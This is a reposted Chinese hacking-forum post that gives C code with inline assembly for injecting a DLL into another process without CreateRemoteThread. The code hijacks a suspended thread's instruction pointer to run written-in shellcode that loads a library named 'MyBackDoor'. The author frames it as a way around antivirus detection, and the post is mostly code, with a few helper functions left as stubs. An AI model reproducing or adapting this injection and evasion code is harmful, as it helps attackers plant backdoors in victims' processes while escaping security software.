发一个不用CreateRemoteThread让远程线程执行代码的程序

来源:互联网 发布:网站源码建站 编辑:程序博客网 时间:2024/04/28 19:26

转自[https://forum.eviloctal.com/thread-40993-1-1.html]

信息来源:邪恶八进制信息安全团队(www.eviloctal.com)
文章作者:gudujianjsk

高手飘过
CreateRemoteThread很久以前就被杀软盯上列在恶意软件之列。这里写出一种不用调用此函数而让目标线程执行指定的代码的方法:
思路
找到目标进程
冻结主线程
准备一段Code并将其最后的一条指令改为跳转指令,跳转目标为主线程的EIP
向目标进程地址空间内写入一段Code
将线程的EIP改为Code 的首地址
回复线程的运行

本人表达能力不强还是看代码吧:

///得到目标进程信息进程句柄通过ProcHandle传出
bool        FindTargetProc ( PROCESSENTRY32        *pe32 ,HANDLE        *ProcHandle)
{        
                ///这里稀里哗啦的都是一些api调用,一些又臭又长的代码懒得黏贴占用地方。。。。
                return false;
}

///后面得到Code中的地址时用到的函数
void        GetData (LPBYTE         des        ,LPBYTE                src )
{
        for (BYTE  i = 0;i < 4;i ++ )
                *des ++        = *src ++;
}

///得到目标线程
bool        GetTargetThread (PROCESSENTRY32         *pe32,DWORD        *pThreadID,HANDLE        *pThreadHandle )
{
        ///根据进程ID得到主线程句柄通过pThreadHandle返回,同样这里不黏贴了。。。。
        return true;
}

////处理错误信息
int         ErrInfo ()
{
                LPVOID                lpMsgBuf;
                FormatMessage (FORMAT_MESSAGE_ALLOCATE_BUFFER | FORMAT_MESSAGE_FROM_SYSTEM | FORMAT_MESSAGE_IGNORE_INSERTS ,NULL,
                        GetLastError(),MAKELANGID (LANG_NEUTRAL,SUBLANG_DEFAULT ),(LPTSTR )&lpMsgBuf,0,NULL );

                MessageBox (NULL,LPCTSTR (lpMsgBuf) ,_T("error!"),MB_OK ) ;
                return 0;
}

//这里是主要。。。
int _tmain(int argc, _TCHAR* argv[])
{
        CONTEXT                                                                cntxt                                = {0};
        DWORD                                                                dummy;
        PROCESSENTRY32                                                pe32;
        HANDLE                                                                ProcHandle;

        HMODULE                hInst                                        = LoadLibraryA ("kernel32.dll");
        if (!FindTargetProc ( &pe32 ,&ProcHandle ) )
        {
                printf("find proc err!\n");
                return 0;
        }
        DWORD                                                                ThreadID;
        HANDLE                                                                ThreadHandle;
        if ( ! GetTargetThread ( &pe32, &ThreadID,&ThreadHandle ))
        {
                printf("Get Thread error!\n");
                return 0;
        }
        ///冻结线程准备手术!
        if (!LockThread ( ThreadHandle ) )
        {
                printf("lock thread err!\n");
                return ErrInfo ();
        }
        DWORD                                        Inject_data_length ;
        LPBYTE                                        pInject_data;
        /*以下的压栈顺序是:
        push        BackAddr                返回地址
        push        ad
        push        AddrOfGetProc        GetProcAddress的地址
        push        AddrOfLoad                LoadLibraryA的地址
        */
        BYTE                                        EntryCode[17]        = "\x68\x00\x00\x00\x00\x60\x68\x00\x00\x00\x00\x68\x00\x00\x00\x00";

        goto GetInjectData;
/*-----------------------------------------------------插入汇编代码----------------------------------------------------*/
        ////读者可以用堆栈中保存的GetProcAddress函数地址来得到Dll中导出的函数的地址,并调用之
        ///也许有人会问下面的call [ebp + 4]时[ebp + 4]所指向的地址还是0 啊,但实际上这段代码在感染时并不运行,而是被注入目标进程地址空间内
        ///在目标地址空间运行的时候[ebp + 4]已经是LoadLibraryA的地址了
        Inject_data_start:                                                        
        _asm        {
                push        ebp
                mov                ebp,        esp
                
                ///将DllNames放在堆栈中
                push        DWORD        PTR                0x0000726f                        //ro        实际上ASCII码是逆向放着 下同
                push        DWORD        PTR                0x6f446b63                        //oDkc
                push        DWORD        PTR                0x6142794d                        //aByM
////注意这里的三个压栈指令,将“MyBackDoor”(目标dll名字)压入堆栈
                push        esp
                call        [ebp +4]                                                        //调用LoadLibraryA
                mov                esp,        ebp                                                        //////做相应的清理堆栈工作,注意保持堆栈平衡!!
                pop                ebp
                add                esp,        8
                popad
                ret        
        }
Inject_data_end:
/*-----------------------------------------------------插入汇编代码----------------------------------------------------*/        
GetInjectData:
        _asm pushad;
        _asm lea eax, Inject_data_start;
        _asm mov pInject_data , eax;
        _asm lea edx, Inject_data_end;
        _asm sub edx, eax;
        _asm mov Inject_data_length , edx;
        _asm popad;
        cntxt.ContextFlags                                                = CONTEXT_FULL; 
        ///取出线程上下文
        if (!GetThreadContext( ThreadHandle , &cntxt)) 
        {
                        printf("Get Thread Context Error");
                        return ErrInfo ();
        }
        HMODULE                                hDll                                = LoadLibraryA ("kernel32.dll");
        DWORD                                BackAddr                        = cntxt.Eip ;
        DWORD                                AddrOfGetProc                = (DWORD)GetProcAddress (hDll ,"GetProcAddress");
        DWORD                                AddrOfLoad                        = (DWORD)GetProcAddress (hDll ,"LoadLibraryA");

        ///压栈GetProcAddress 和LoadLibraryA地址所用到的数据
        GetData (EntryCode + 1, (LPBYTE )&BackAddr );
        GetData (EntryCode + 7, (LPBYTE )&AddrOfGetProc );
        GetData (EntryCode + 12, (LPBYTE )&AddrOfLoad );

///向目标进程申请内存
        LPBYTE                                        pShellCode                = (LPBYTE)VirtualAllocEx( ProcHandle , NULL ,Inject_data_length + 16 , MEM_COMMIT, PAGE_EXECUTE_READWRITE);
        if (!pShellCode )
        {
                printf("Alloc Men err!\n");
                return ErrInfo();
        }
///向目标进程中写入数据
        if (!WriteProcessMemory( ProcHandle , pShellCode ,EntryCode , 16 ,&dummy ) )
        {
                printf("write data err!\n");
                return ErrInfo ();
        }
        if (!WriteProcessMemory( ProcHandle, pShellCode + 16 ,pInject_data , Inject_data_length ,&dummy ) )
        {
                printf("write data err!\n");
                return ErrInfo ();
        }

///修改EIP,改变执行流程
        cntxt.Eip = (DWORD) pShellCode ;

        if (!SetThreadContext( ThreadHandle , &cntxt)) 
        {
                        printf("Set Thread Context Error");
                        return ErrInfo ();
        }
/////为线程解冻,做完这里后线程就按我们的要求运行了执行完Code后会回到原来的指令结着执行///好像什么都没发生
        ResumeThread (  ThreadHandle ) ;
        system ("pause");
        return 0;
}
0 0
原创粉丝点击